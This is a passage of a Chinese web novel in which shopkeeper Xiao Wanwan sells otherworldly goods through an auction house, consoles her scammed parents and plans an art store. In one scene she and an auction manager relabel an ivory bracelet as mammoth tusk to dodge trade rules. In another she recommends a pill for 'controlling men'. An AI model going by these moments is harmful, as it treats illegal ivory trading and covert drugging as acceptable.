“太好了,终于可以歇歇了。”伸了个懒腰,萧妧妧摔进躺椅里。 “小萧老师,你在店里吗？” 萧妧妧屁股刚坐下,还没来得及翘二郎腿，小卖部门口传来许年华的声音。 暗道一句又来了,萧妧妧叹气，随即笑容满面地起身。 “许叔,您这是……” 从柜台里侧钻出来，萧妧妧打完招呼,转眼看到许年华手上的两个礼品盒。 许年华提起礼盒摆上柜台，“这是公司准备的一点小心意,不是快过节了嘛,里面是月饼。” 萧妧妧咦了一声,看一眼手机,“谢谢许叔。不过,才8月头就要过中秋节了？” 许年华讪笑片刻，“中秋假期有一场大型拍卖，这不是来问问你有没有合适的艺术品。” 萧妧妧懂了，许经理这趟是为了自己的KPI来的。 她手上还真有不少适合的东西,首当其冲的就是从龙傲天手里弄来的金丝楠木匣子。 萧妧妧也不卖关子，说一句稍等,假装去后院走一趟,从空间拿出木匣。 许年华喜不自禁,只是想着离家近顺道来试试，还真让他试出来了。 萧妧妧很快回来，手里捧着闪闪发光的木匣。 许年华推了推眼镜，仔细盯着匣子分辨，“这是金丝楠木吧？” 远远看着不过瘾，许年华迎上去，殷勤地接过匣子，轻轻摆放。 萧妧妧：“对，金丝楠木，水波纹。” 许年华痴迷地抚摸着匣子，笑得脸颊肥肉轻颤，“小萧老师果然有实力，您是打算送拍这匣子？” 萧妧妧点头，“是的，匣子是意外得来，放在我家里委屈它了。” “小萧老师谦虚了，能碰着您这样爱惜它的主人，是它的福气。”许年华接话。 有日光打进店铺，迎着光斑欣赏金丝楠木，好像在欣赏流动的金波。 许年华戴上手套，检查过匣子，确认没有瑕疵，再看内部花纹和色泽，更加惊喜。 “好东西，真是好东西，”许年华抬头，“小萧老师，您看我今天把东西带回去评估鉴定，评估价一出来我立刻通知您，这安排还行吗？” 萧妧妧巴不得赶紧拿走拍卖，匣子好看归好看，哪有成叠的人民币好看。 有系统有龙傲天，她以后有得是机会弄来好看的匣子。 “当然，我是信得过许叔的。” 许年华笑得见牙不见眼，拿出协议走流程，萧妧妧则是去找合适的包装盒。 送拍金丝楠木定下后，许年华走路都轻盈许多，赶紧先抱起匣子先送上车，生怕萧妧妧反悔。 “小萧老师，107期的预展昨儿开始了，预展只有三天，后天正式举槌，可别错过了啊。” 萧妧妧这才想起来，她把拍卖会预展的事忘得一干二净。 “抱歉抱歉，这两天事多，差点没想起来，谢谢许叔提醒。” 这两天有些忙，发生的事情有点多，萧妧妧是真忘了，一想到后天就能看着玉扳指卖出去，然后等着钱款到账，她幸福得要冒泡。 寒暄两句，许年华心满意足转身出门。 走出去两三米，一个烫着卷发，穿着棉麻连衣裙的中年女人拦在他面前。 许年华客气的问：“您找我？” 王翠菊看了看小卖部大门方向，“我们家妧妧是不是送了个什么玉戒指给你们公司？” 许年华摸摸自己半秃的油亮头皮，探究目光落在女人身上。 “您是小萧老师的……？” 王翠菊撇撇嘴，什么小萧老师，她一个小卖部营业员，算哪门子老师。 “妧妧是我家孩子。”她扯出僵硬笑容，含糊不清的说。 许年华惊讶一瞬，母女俩长得可真不太像，随即扬起笑脸。 ………… 萧妧妧这会是真要歇下了，好累，好困，好想回家躺着。 “妧妧，妧妧，快回家去，老萧和老张让警察送回家了，你快去看看。” 萧妧妧屁股刚沾上坐垫，甚至都没坐下去，好心街坊闯进店铺，咋咋呼呼催她回家。 “我爸妈不是去旅游了吗？”萧妧妧吓一跳，呼吸急促，“婶子，我爸妈人没事吧？没戴手铐吧？” 正问着，电话恰好响起，来电显示是张芸。 她急忙接通电话，没等开口问几句，张芸便催她回家，萧妧妧追问是什么事，电话那头支支吾吾说不完整。 萧妧妧谢过婶子传话，索性拿起钥匙锁门。 白天游客多，骑电动车不如跑步方便，她干脆一路往回跑。 许年华感觉有一阵风卷过，仔细一看，那不是萧妧妧吗？ “呦，小萧怎么着急忙慌的，不会是出事了吧？大姐，您……” 王翠菊满脑子想着许年华说的话，这会正心气不顺，眼白一翻，尖利嗓音穿透力十足，“出事了才好呢，我管她死活。” 聊得好好的大姐忽然变脸，许年华一愣，目光重新落在王翠菊脸上，他看到了女人流露出的贪婪与恶意。 糟了……许年华心里咯噔一下，他好像坏事了。 萧妧妧没注意到许年华，更没看到王翠菊，闷头往家里跑，脑子里一直惦记爸妈。 还没到家门口，周边老街坊都站在巷子两边，探头探脑张望，窃窃私语。 萧妧妧顾不上他们，推门进去。 张芸好好坐在沙发上，萧大明蹲在旁边，两人垂头丧气，面色忽青忽白，看到萧妧妧急急忙忙赶回来，两人霎时间面色臊红。 “妧妧来了，警察同志，这是我女儿。”张芸搓着手，蔫哒哒的介绍。 萧妧妧合上大门，走进客厅，看他们好端端的坐着，人没受伤，也没看到他们手上有手铐，顿时放下心。 “警察同志，我爸妈他们出什么事了？”萧妧妧转身去看旁边的两位警察，“不是犯法了吧？” “事情是这样，你爸妈参与非法聚集，我们是把人送回来，还有些话和家属沟通一下。” 萧妧妧瞪大眼睛，“你们不是去旅游？” 看出萧妧妧不知情，警察同志又把事情的来龙去脉解释一遍。 萧妧妧越听下去，神情越古怪，看了看恨不得钻进地缝里的父母，不知道说什么好。 原来是张芸和萧大明年初的时候投资了一部电影，说好暑期上映后可以分账，结果7月初发现导演监制出品人都联系不上，电影也迟迟没能上映，同样参与投资的其他出资人便联合起来讨要说法。 说法讨了一个月，但是制作公司人去楼空，堵上门只得到踢皮球一样的回复。 这时候大家也都反应过来，他们大概率是遇上诈骗了，吵吵闹闹去报警。 诈骗案件处理非常麻烦，大家一时半会等不到结果，又听说导演在拍新戏，于是一琢磨，大家堵去剧组要钱。 自然是要不到的，还让剧组报警给扭送回来。 要不是看张芸和萧大明年纪大了，萧妧妧怀疑，他们可能没那么容易回家。 沟通过后，再签署一份文件，事情到此为止，警察完成任务离开，只剩下一家三口面面相觑，沉默了好一阵。 张芸扛不住了，率先开口，“妧妧，这事是我和你爸不走运，上了别人的当，你放心，我们没打架也没闹事，我问过警察，不留案底，不会影响你的。” 萧妧妧有点想笑，张芸这会想的竟然是这些。 “你们投资了多少？” 萧妧妧拉着爸妈坐下，和缓语气，闲聊似的说起他们不太愿意面对的话题。 萧大明撸了一把后脑勺，愁得声音都有几分苦闷，“二十一万……我和你妈存了两年的退休金，本来想说投资赚一把，到时候好给你凑首付买个房子。” 唉声叹气一会，萧大明沉闷语气夹杂了几分小心翼翼的讨好，“妧妧你放心，这笔钱我和你妈很快能给你攒出来。今天开始，我们俩吃白饭泡水，我不出去下棋，我会看着你妈，不让她花钱学跳舞，很快的。” 萧妧妧使劲眨了眨眼睛才没让眼泪飚出来，她深呼吸，走到父母身边。 “房子的事我们不是商量好了吗？我不需要，我觉得住家里挺好的，再说了，我现在自己能赚钱，不需要你们为我省吃俭用，你们该花花，该吃吃。” “二十一万不算多，这损失咱们担得起。其实投资电影是这样的，周期长回款慢，你们不一定是遇上诈骗了，再等等看。” 即便是诈骗，萧妧妧也不能明摆着告诉他们。 她的父母她了解，辛苦攒钱结果打水漂，最痛心的肯定是他们自己。 这时候她再多说几句，语气稍微重一点，老两口能自责的吃不下睡不着，会一直沉浸在愧疚情绪中。 何况在此之前，他们说服自己接受自己遇到诈骗这事，已经消耗了许多能量与情绪。 萧妧妧以为他们是担心自己找不到工作，所以总是发愁，现在看，不止是为她愁。 其实这事确实不能怪他们，要怪怪剧情，怪作者。 落在老两口身上的这一遭，实际是为了推动男女主感情而存在的故事情节，躲不掉。 故事里，资助人惨遭诈骗，云昭昭心疼他们，男主便在这时站出来，动用人脉关系解决了这桩麻烦事。 事情结束，女主和资助人的关系更加亲近，和男主们也更加亲密，女配有点破防，自此开始上蹿下跳的针对女主。 她的劝解效果不佳，几句话并不能让他们忘记二十多万的损失。 老两口像犯错的孩子，垂头耷脑，唏嘘叹气。 萧妧妧倒是想得开，剧情嘛，反抗不过就随便吧。 何况她沉静下来后仔细回想一遍，结果并不一定是坏的。 印象中，张芸和萧大明不仅拿回本钱，还意外的小赚了一笔，夫妻俩为了感谢男女主的帮忙，高高兴兴请他们几个年轻人出去旅游。 旅游嘛，车上，户外，泳池，暴露，道具……各种眼花缭乱的剧情。 萧妧妧记得他们玩了不少花样，想想都…… 不对，跑偏了，反正最后结果还不错就是了。 萧妧妧怕爸妈钻牛角尖，佯装不在乎的开口：“我也是在电影里演过几个小配角的，爸妈，你们信我，电影没上映肯定是没办法分账。你们看，我大三演得小配角，前几天才给我打演出费。” 她掏出手机操作一番，展示银行卡余额。 “看吧，是不是有钱？我本来打算等你们回来再给你们惊喜的，装修用了你们三十多万，正好一次性还清，银行那边的贷款差不多也能结清，以后只有赚钱的份了。” 老两口果然挪开注意力，抱着手机数余额，越数越高兴。 “那是我们为了给你压力胡说的，哪要你还钱了，这钱你好好存着，等今年年底我和你爸再给你攒攒，咱们去买大平层，赶在你结婚前定下来。” 萧妧妧扶额，怎么说到结婚了呢。 她早该知道，一旦回南市，逃不掉催婚的环节。 “急什么，先不说结婚，就说投资电影，你们别担心，刚刚警察同志说的我都听到了，拍戏的导演业内有点小名气，不像是诈骗，你们都别想太多。大热天的，你们在人家门口堵多久了？没中暑吧？” 萧妧妧一副信誓旦旦的样子，老两口惴惴不安的心渐渐安稳。 女儿演过电影，知道的比他们多，损失二十多万她都不急不躁的，可见事情不一定糟成那样。 张芸又看了看银行卡余额，啧啧几声，“哎呦，早知道你演戏能赚这么多，我和你爸说什么都支持你继续拍戏的，演几个小角色，能有五十多万，娱乐圈真是不一样。” 萧大明得意哼哼，“那你不看看我闺女多漂亮，演出费肯定要高一点的。” 萧妧妧差点听不下去，演戏确实赚，可她连进组的机会都没有，好像一夜之间被封杀了一样。 可是，她一个刚毕业还不入流的小卡拉米，谁闲得没事封杀她啊。 这笔钱是龙傲天的金锭兑回来的，借着这次机会过明路后，萧妧妧催他们回去洗澡休息，自己回房间休整。 龙傲天刚给了两盒首饰，加上申明月留下的手串，一盒盒东西也得重新整理。 萧妧妧正思考，门口突然传来云昭昭急切的声音。 “妧妧姐，我听说叔叔阿姨出事了，我……哇，妧妧姐，你这是要开饰品店吗？” 倏然间，福至心灵，萧妧妧眼睛蓦地一亮。 30 第30章 ◎你老公又破产了？◎ 云昭昭说得对,她为什么不自己开一个铺子，专门售卖它们？ 不只卖首饰，可以是异世界流通过来的各种杂货，那么,或许叫艺术品集合店更合适？ 当然,前提是得送去鉴定,有正经的证书价格才能抬上去。 萧妧妧来回踱步,脑海里的规划渐渐清晰。 她抑制不住地漾起灿烂笑容，“昭昭你真棒。” 云昭昭：“？” 没等她问棒在哪里,萧妧妧已经转移话题，“我爸妈没事,他们去休息了。” 云昭昭还是不知道发生了什么，不过听到叔叔阿姨没事,她松了一口气。 两人说着话，楼上传来咔哒的关门声,她们齐齐抬头,看到了一身运动装的季随。 云昭昭下意识侧身躲进门里,不让季随看见她。 萧妧妧好奇他们到哪一步了,但也不好太直白,只当没看出云昭昭的异常。 她撇开脸，决定当一个冷漠路人，刚侧过身，忽然嘶了一声。 说起投资电影,她怎么给忘了，季随就是一个颇有才华的年轻导演。 出道的第一部片子拿了最佳导演奖,编写的剧本几次提名最佳编剧。 当然,这些不是最重要的,萧妧妧记得她在番外篇看过这样一段剧情。 季随的电影上映，成为当年黑马，是业内以小博大的典型案例，超高回报率引得业内嫉妒眼红不说，季随也因相貌英俊获得无数赞誉与曝光。 庆功宴上，高朋满座，宾客云集，季随掏出戒指向女主求婚，属于云昭昭和季随的结局在这里暂停。 萧妧妧明确记得，季随这部大爆的电影便是以南市月牙巷为背景，他在求婚现场坦然承认，如果没有在月牙巷遇见女主，他可能拍不出这部作品，或者拍成另一个模样，是女主的存在给了他无数灵感，成就他票房奇迹的传说。 换句话说，这部大赚特赚的片子目前还是受.精卵状态，她是有机会参与投资的！ 千万小成本电影爆到40亿票房，她要是能有机会多投一点，岂不是…… “妧妧姐，妧妧姐？你想什么呢？” 云昭昭想找个话题留下来一会，等季随离开再出去，然而她说了好一会，萧妧妧不仅没反应，还神情恍惚的傻笑。 萧妧妧赶紧回神，拍了拍脸颊，“想起来几个比较好的投资，对了，你要说什么？” 云昭昭仔细看了看萧妧妧，肌肤白腻，面色红润，精神状态十分饱满，不像是遇到渣男的样子。 “没什么，只是觉得妧妧姐今天气色特别好，精神也好，看起来快快乐乐的。” 萧妧妧萎靡不振的样子留在脑海挥之不去，让她担心了好久，今天看到重新振作起来的妧妧姐，云昭昭放心的同时还生出些隐忧。 萧妧妧摸摸脸颊，眨眨眼睛，“是吗？大概是相由薪生吧。” 她当然快乐，金貔貅发威，家里住了个活财神，只要她动动脑筋掺和进去，以后完全可以躺平。 尤其最近赚了一大笔，萧妧妧一改之前死气沉沉的模样，整天乐呵呵。 钱不是万能的，但无限趋近于万能，萧妧妧所有的焦虑不安，无法解决的难题，在钱面前迎刃而解。 如果她有尾巴，此刻已经翘到顶起一瓶汽水的程度。 想到这里，萧妧妧抽出两根猫条上供招财猫，又拿出健胃消食片，摆在它旁边。 云昭昭一脸莫名，“妧妧姐，家里这么多猫条，为什么没有看见猫啊？” 萧妧妧叹气：“因为它不着家，十天半个月才回来住一晚。” 闲聊几句，云昭昭要回231号带孩子，萧妧妧看父母已经午睡，也准备离开。 趁今天银价上涨五毛钱，她得尽快把银锭兑出去，金子她不打算动，全部丢在小盒子里攒着。 融通金不合适，去的还是口碑好的黄金回收铺子，一千两银锭全换成现金。 老板已经眼熟她了，看她从背包里掏出沉甸甸一盒银锭，呆了一会，脱口而出：“你老公又破产了？” 说完，老板意识到自己多嘴，闭口不言，埋着脑袋称重检测。 大兴朝的一千两银锭换算过来是30000克，抛开融损，最后兑来24.5万元。 再次捧着六位数的单据，萧妧妧冷静多了，瞅两眼，发一个仅自己可见的朋友圈，心满意足的回小卖部。 “萧老板你回来了，刚刚没见着你，想给你留字条呢。” 萧妧妧迈进店的同时，申明月恰好从后门进来，两人视线相撞，申明月惊喜跑来，眉眼上扬。 “昨天你走得匆忙，还没问你要买什么呢。”萧妧妧倒了两杯水，一杯自己喝，一杯递给申明月。 申明月捧着玻璃杯看了又看，笑得腼腆，“萧老板的药帮了大忙，昨日来本是想多买点，突然想起来有急事没解决，不得不匆忙离去。” 萧妧妧看向敞开的假门，原先嵌着电表箱的墙体已经变了一副样子，像显示屏，显现申明月进来时的环境。 猛地看到破落小院，萧妧妧差点没反应过来，盯了好一会才记起剧情。 即便申明月跟母亲顺利回到申家，可隐姓埋名的日子并不太好过，尤其外祖父早逝，家中只余各怀心思的舅父舅母以及年迈的外祖母。 申明月不在意，能在宫外生活已经很痛快了，她只想带走母亲出嫁前托付给舅舅的部曲。 她清醒的知道，拥有属于自己的力量，她才有资格面对一切风暴。 申明月这几日一直琢磨，到底怎么名正言顺地带走他们还不让旁人起疑。意外的，萧妧妧随口一句帮她打通了思路，急忙回去和母亲商量。 “药我有得是，不过你那边吃得下吗？何况伤药再贵，那也卖不上高价，为什么不换成其他物件？” 换成*其他物件？ 申明月倒是想，可她对小卖部一无所知，无法做决定。 等等，萧老板怎么知道她要买止血药回去售卖？ 萧妧妧看她懵懂困惑，终于有了点十六七岁小姑娘的样子。 转念一想，她自小在深宫后院长大，哪怕母亲用心教导，也不能涵盖生活方方面面。 她总会遇见很多不懂的、陌生的事务，慢慢摸索，一次次摔跟头。 萧妧妧心软软，拉着申明月走到柜台后面。 如果不怕麻烦，萧妧妧其实可以配合她赚“汇率”，两个位面的汇率，挺好赚的。 但她怕麻烦，还是老老实实倒买倒卖货品吧。 “你先说说，你们那里什么东西比较昂贵，”萧妧妧一手纸笔，一手托着手机查资料，“一定要是有钱人特别青睐的东西，赚钱嘛，赚得就是有钱人的钱。” 申明月咀嚼最后一句，有种醍醐灌顶的感觉。 对啊，她卖再多伤药，赚得是老百姓的钱，怎么能比得过世家大族？ 申明月眼放异光，她现在有好多想法好多话，捏着下巴，一边思索一边来回踱步。 “浮光锦！我听表姐说，寸锦寸金，格外珍贵。” “还有龙涎香，舅母卧房里点过，是丫鬟说很值钱。” “对了，琉璃！我和母亲还在宫里时，隔壁的贵人就是因为打碎了皇后的琉璃盏被打进冷宫，据说那七彩琉璃盏绝无仅有，是他国上供的，皇后很是珍爱。” 萧妧妧听得心酸，申明月这个公主当得真惨，好东西是一样没见过，全靠别人在她面前炫耀才知晓一二。 申明月回忆半天，越说越兴奋，扭头一看，萧老板怜惜地望着自己。 她缩了缩脖子，“我说错了吗？” “不，你说得太对了，龙涎香我弄不到，这玩意在我们这里不便宜，我晚些时候研究研究，不过琉璃不是问题。” 萧妧妧拉开柜门，从里面捧出花里胡哨的琉璃盘子琉璃杯，以及玻璃红酒杯。 这些原先是为龙傲天准备的，所以有些花哨。 申明月揉了揉眼睛，上前两步。 她就这么轻而易举的见到了琉璃？ “至于你说的浮光锦，我这里有一种布料和它很相似，下回你来时我给你看一眼，或者你带回去试试，如果能出手，我保证要多少有多少。” 申明月没忍住，伸手掐了一把胳膊，“嘶……” 萧妧妧噗呲一下笑出声，女鹅好可爱！ 申明月想到什么，回过神，声音渐弱，“可是……我手里的金子没那么多。” 萧妧妧浑不在意，“那就等你卖出去再给货款。放心，它们在你们那里卖得贵，但在我这里一般般吧，不然怎么卖出差价呢。” 申明月越听越兴奋，丹凤眼眯出快乐的弧度，“我回去取钱！” 萧妧妧拉住她胳膊，“急什么，你回去打听打听，你那个什么州，买一件琉璃要多少金子，那些贵人们买回去都是做什么用，打听清楚了我好帮你规划一下。” 申明月高兴过头，差点脑袋一热就要付钱，听萧妧妧嘱咐了几句，她意识到做生意没那么简单。 她望着萧妧妧，神情恳切，“萧老板，前面是我误会你了，总觉得你这小店太过古怪，如今看来是我小人之心度君子之腹，萧老板您是好人。” 萧妧妧莞尔，又收到好人卡了。 她拍拍申明月，让她再等等，“你身边有没有年长的人伺候？最好是懂点医理的。” 申明月点点头，“有的，阿嬷跟在我和母亲身边多年，最是可靠。” 萧妧妧放心了，凑到她耳边教她套话技巧。 申明明努力记在脑海里，等萧妧妧说完，她开口问道：“萧老板，西多芬真有那么厉害？” “当然，别看它小小一颗，拿捏男人，易如反掌。” 没有男人能拒绝它，除非他不是男人。 具体怎么拿捏，萧妧妧不好意思解释太仔细，让她回去多和嬷嬷请教，有点概念了再说后话。 30-40 31 第31章 ◎预展◎ 送走申明月没多久,时间已经来到傍晚时分。 折腾一天，萧妧妧真累了，手机下单几样东西后，她趁着有空闲,联系装修团队预约时间上门,改造后院。 除了仓库、客房、厨房、卫生间留下,其他房间全部空出来,为她的艺术品集合店腾地方。 要准备的不止是装修，各种各样“艺术品”也需要她淘换回来,总之任务繁重。 忙完这一阵，天色黑透,想到第二天的行程，萧妧妧决定提前关门,回家睡觉。 回家之前，还有件事需要她解决——扔掉让她社死的充气娃娃。 翌日天亮,萧妧妧放弃心爱的白T大裤衩和洞洞鞋,换上一身得体衣服,带上预展邀请函出门。 雅园意外的热闹,车辆堵住了半条街,她是走路来的，先所有人一步进门。 许年华守在画堂门口，招呼前来参加预展的新老藏家，并奉上图册,重要老藏家甚至会安排工作人员跟随讲解。 看到萧妧妧，许年华不自觉心虚,面对她的问好,他支吾回应,视线飘忽不敢对视。 怪自己嘴欠，见那大姐气势汹汹，许年华以为萧妧妧偷拿家里东西送去拍卖，最后还让家长抓包。 这事他遇得多了，老一套办法解决，结果倒好，这个家长根本不是直系亲属，去老方家一打听，好嘛，反而是关系不睦的婶婶，完犊子。 许年华愁死了，怕说出来影响金丝楠木，不说吧，心里直打鼓。 萧妧妧挠挠头，看门口人来人往，颔首打过招呼后便自行进了展拍厅，没把许年华奇怪反应放在心上。 她像逛博物馆一样，一件一件看过去，时不时翻开册子看两眼。 看得越多，萧妧妧越是觉得这里和想象的完全不一样。 拍品很多，一共678件，目前看下来，便宜的有估价一两万左右的玉坠子，贵的有十几万的玉牌、几十万的玉镯，价格参差不齐。 还有玉珏、玉琮、玉璧等等，都是有年份的老物件，能标出朝代出处，也算开了眼界了。 她送拍的那件玉扳指不上不下，在一众华丽的首饰当中，可以说是不太起眼。 翻了半本册子后，萧妧妧一度怀疑玉扳指可能要流拍。 实在是这里的拍品太多了，昂贵的、珍稀的、便宜的……难怪预展要办三天。 萧妧妧放平心态，只当自己是来学习实践。 她每天坚持看教材看直播看教学视频，但面对什么冰种水头，仍旧稀里糊涂，正好借着拍卖会多看看实物。 “碧玺有什么好看的，你买回去就贬值，现在翡翠最火热，要买咱们给女儿攒几个翡翠镯子。” “碧玺戴着多漂亮，看着合适一起买呗，你看看这几串，要放在古代，老值钱了，一般人还买不到呢。” “你怎么不说玉髓啊，搁在古代稀有的很，现在满大街都是，几百块就能买。” “那不能一样，两个克价都差了好几百呢……” 一对年轻夫妻堵在碧玺展柜前互相抬杠，听了一耳朵的萧妧妧浑身一颤，倏地顿住脚步。 对啊，她怎么把这么重要的事给忘了。 上回请博主鉴宝给了她不少灵感，可惜灵光一闪而过，没来得及深究，这对小夫妻刚好提醒了她。 和倒卖琉璃一个思路，她要是能批发些玉髓、碧玺、玛瑙，随便是交给申明月还是龙傲天，都能大赚一笔。 哦，不对，龙傲天怕是看不上她这点小生意，况且他是太子，一举一动都有政敌盯着，不方便搞小动作。 思来想去，申明月最合适。 越想越兴奋，萧妧妧恨不得立刻回小卖部写计划书。 “小萧老师看上碧玺手串了？”许年华扬起灿烂笑脸，熟稔搭话，转身找来一旁的工作人员，“去开一下柜子，把碧玺拿出来给藏家瞧瞧。” 萧妧妧扒在玻璃展示柜前，盯着流光溢彩的碧玺珠串发呆，脑子一遍遍琢磨她的生钱大计，冷不丁的，许年华出现在身后，萧妧妧又是一抖。 “不不不，只是看两眼，”萧妧妧拍拍胸口，反应过来后赶紧拒绝，“展拍品也可以拿出来看？” 许年华殷勤解释，“当然，上手摸都没关系。如果萧老师有看中的拍品，出门前可以在展厅口办理竞投号牌。” 萧妧妧眨眨眼睛，不好意思地搓搓手，“那个……我可以不买东西，只在拍卖现场看看吗？” “那也是没关系的，不过办理竞投号牌需要验资。” 听到验资，萧妧妧冷静下来，她哪有多少资可以验啊。 “本期办牌需要五十万，如果小萧老师看中了特殊拍品，价格还要再涨涨，一百万两百万都是正常的。 如果有看上的拍品并竞价成功，保证金会抵扣费用，多退少补。如果一件没看上，保证金会在24小时内退还。” 许年华非常熟悉拍卖流程，为她细致讲解。 萧妧妧有点心动，五十万她真有，而且不买东西可以全额退，相当于免费进去看。 萧妧妧想看看，玉扳指到底能不能拍出去，拍多少价。 “对了小萧老师，我来是想跟你说金丝楠木匣子的事。”许年华说了好半天话，口干舌燥的时候终于记起自己找萧妧妧的目的。 萧妧妧眼睛微睁，期待地望着许年华，语气稍急，“怎么样？符合拍卖主题吗？” “自然是符合的，您看安排在109期如何？临近中秋节，公司准备把规模弄大点，到时候老藏家不少，匣子也能拍出好价格。” 听到能拍出好价格，萧妧妧的迟疑立刻消失，多赚一点是一点，她不介意多等一个月。 她追问：“评估师怎么说？估价能不能超过300万？” 300万是她根据网上搜来的拍卖记录自己预估的价格，如果真像博主说得那样好，应该不是问题。 许年华哼笑几声，神情稍显得意，“不止，评估师给的价格是455－535万，这匣子不错，按照我的经验看，流拍概率不大。” 有许年华这句话在，萧妧妧别提多踏实了，500万，靠上班得赚到什么时候啊，拍戏更别提了，以她的资历和技术，恐怕这一两年内都达不到500万片酬。 许年华看她笑得眉眼弯弯，询问她有没有看上的物件，既然要参加拍卖会，随便买个小东西感受一下也不错。 萧妧妧多看他一眼，总觉得许年华殷勤得过分，她假装听不懂他的卖力推销，认真敷衍。 两人正说着话，画堂门口涌进来一群人，引来四周藏家侧目。 “小萧老师你自己先看看啊，我领导来了，”许年华苦笑，下巴微扬示意门口方向。 萧妧妧侧身看过去，一身高定黑西装的黎行聿走在最前头，白衬衫黑西裤的黎行墨心不在焉跟在后面，身边围满了拍卖行的工作人员。 兄弟俩个高腿长，肩背宽阔，套着裁剪得体的西装格外好看，和穿运动装时完全两种风格，难怪周围藏家伸着脖子看他们。 萧妧妧欣赏得有些久，黎行聿偏头看过来，两股视线相碰，萧妧妧有种偷看帅哥被抓包的窘迫。 可大家都在看，也不差她一个，于是她坦然的微笑颔首，算是打招呼。 黎行聿愣了两秒，回以礼貌的微笑。 许年华差点吓得心脏停跳，看看黎行聿，又看看萧妧妧，迟钝发觉不是在跟他对视。 “小萧老师认识我们黎总？” “不算认识吧，对门邻居。” 许年华纳闷，黎总怎么住月牙巷去了，然后暗暗把月牙巷划成禁区。 飞快交谈两句，许年华告别萧妧妧，随行在领导身侧。 萧妧妧转身去人少的地方继续参观拍品，一路看下来，倒是有几件感兴趣的，一看评估价，萎了。 算了算了，钱包厚度跟不上她的审美。 走走看看，快到画堂出口位置，萧妧妧终于找到她送拍的玉扳指，前面站了七八人欣赏。 萧妧妧暗自祈祷，希望玉扳指能花落其中一家。 “……黎总对马大师的作品有兴趣的话，可以再看看旁边这枚玉扳指，我们的鉴定师给出的评价是，极有可能是马大师的早期作品，风格手法极度相似，现在市场上很难找，只是可惜没有印。” 她刚祈祷两句就听到许年华的声音，回头一看，许年华引着一行人走向玉扳指所在的展柜。 萧妧妧莫名激动。 这可是真霸总，一掷千金只为买到心仪宝贝的剧情，最容易发生在他们这类人身上。 许年华卖力介绍玉扳指，黎行聿示意工作人员拿出展品上手触摸，萧妧妧躲在一边看得心头火热。 她保证，只要玉扳指卖出高价，她会请许年华吃大餐！ 萧妧妧幻想黎行聿大手一挥，以震动古玩圈的价格拍走玉扳指，自己赚得盆满钵满时，胳膊让人撞了一下。 她往人少的地方避了避，刚站定，余光瞥到展厅末尾办理竞牌的地方。 “小姐请留步。” 萧妧妧抬脚要走过去，迈出去两步，忽然有人拦在她面前，才反应过来是在和自己说话。 “您叫我？” 萧妧妧莫名地望向拦住她的人。 男，六十左右，头发半白但梳理得整整齐齐，戴着黑框眼镜，穿着做工良好的短袖衬衫，看起来是饱读诗书、文质彬彬的文化人。 “不好意思，请您稍等一下，我看您手上的手串很特别，所以想冒昧地请问一下，方便让我观赏两眼吗？”男人客气且温和的提出请求。 手串……萧妧妧茫然抬起左手腕，看见一抹白，瞬间恍然。 第一次参加拍卖会的预展，萧妧妧很认真打扮，换上当下流行的新中式套装，为了搭配衣服，她戴上同色系的紫翡耳坠以及牙雕手串撑场子。 要不说是好东西，牙雕手串只是戴在手上，识货的人也能在人群中一眼看到它。 32 第32章 ◎萧小姐可愿意割爱？◎ 看萧妧妧面露犹豫,男人拿出自己的竞牌和邀请函，语气更加恳切。 有牌子，证明他有五十万，出了问题至少赔得起。 萧妧妧思忖片刻,又看展厅安保守在进出口,于是放心摘下手串递过去。 男人见她摘手串,双手在衣服上擦了擦,小心翼翼接过。 甚至为了看得更仔细，在征求萧妧妧同意后,借来工作人员的专用灯。 “真美啊……小姐，你的手串是祖上传下来的吧？这质感不像是近几年的手艺,还有上面的雕工，栩栩如生,现在师父的手艺很难达到。” 他对牙雕很有见解，一边欣赏一边品评,喜爱之情溢于言表,还有一抹浓浓的怀念。 萧妧妧没遇见过这种情况,稍显无措,“是,确实是有些年头的老物件，传下来许多年了。” 男人目不转睛地欣赏着，说：“我家从前有类似的手串，可惜没能留住,现在想买个相似的不好找。” 萧妧妧不知道说什么好，礼貌微笑。 男人话音一转,问：“小姐,您这手串卖不卖？” 卖不卖？当然是想卖的,可手串能卖多少钱，她没一点数。 “小萧老师还没回去呢？呦，傅教授您也在啊，怎么样，这是看上……？咦，这手串好像不是我们的拍品啊。” 萧妧妧没想好怎么回复，许年华一身轻松地找过来。 他先是看见萧妧妧，而后才看到旁边背对着他的中年男人，咧开笑容迎上来。 傅教授呵呵笑，“确实不是你们的拍品，是借小丫头的首饰瞧几眼。” 许年华闻言心底诧异，能让傅教授感兴趣并主动提出瞧瞧的，那可不是普通的好东西。 “那我倒要看看，小萧老师藏了什么好东西。”许年华凑上来，歪头看傅教授手心。 “这是……是猛犸还是象牙啊？”许年华眼眸一眯，越看越是惊讶。 傅教授让开半边肩膀，手串捧近些，“象牙，牙雕，多漂亮啊。” 许年华又是一惊，“这可是好东西啊。” 说完，许年华望了望萧妧妧，审视探究的目光落在她脸上。 萧妧妧心里直打鼓，这要怎么解释啊，尤其许年华和方叔叔家来往密切，事后一打听，很容易看穿她的谎言。 萧妧妧仍旧微笑面对。 除了笑，她不知道要怎么把眼下场面应付过去。 “我记得傅教授您家就有牙雕手串，我跟着老师去您家的时候，还见过呢。” 许年华虽然纳闷萧妧妧怎么隔三差五拿出这么些好东西，但也只是纳闷一会，转头和傅教授继续攀谈。 “是啊，可惜家里小孩子不懂事，拿出去玩让人哄走了。” 许年华拍大腿，“哎呦，太可惜了，多好的东西。” 傅教授把玩了好一阵，恋恋不舍地挪开目光，“我也不绕弯子了，这手串……萧小姐可愿意割爱？” 许年华又转头去看萧妧妧，等她回答。 萧妧妧抿抿唇，含糊不清，意有所指的开口：“那个……买卖它，合适吗？” 她查过资料，牙雕饰品自己戴着玩没事，不出境问题不大，买卖嘛…… 傅老教授一愣，哈哈笑，笑声爽朗。 许年华急得不行，哎呦一声，“就是一猛犸牙，什么合适不合适，两位不如回头商量商量？咱们这人来人往，不是说话的地方。” 萧妧妧秒懂，立刻接话：“我这猛犸牙是姥姥传下来的，不算多好的东西，傅教授您要是感兴趣，下回去我店里坐坐。” 许年华：“对，小萧老师自己经营一家铺子，就在月牙巷。” 说着话，许年华使眼色，示意她接过傅教授的名片。 萧妧妧又道：“我自己也喜欢收集些艺术品，正好要开一间艺术品集合店，傅教授方便的话去我那里看看，月牙巷188号，离这里不远的。” 接下名片，互相加上联系方式，计划中的店铺还未开业，便已经招揽到第一位客人。 傅教授很高兴，乐呵呵去看剩下的拍品，走之前约了时间上门。 萧妧妧挠挠头，低头看一眼手串，神情恍惚。 就……这么轻而易举地找到客户了？ 许年华送了送傅老教授，没多久折返回来。 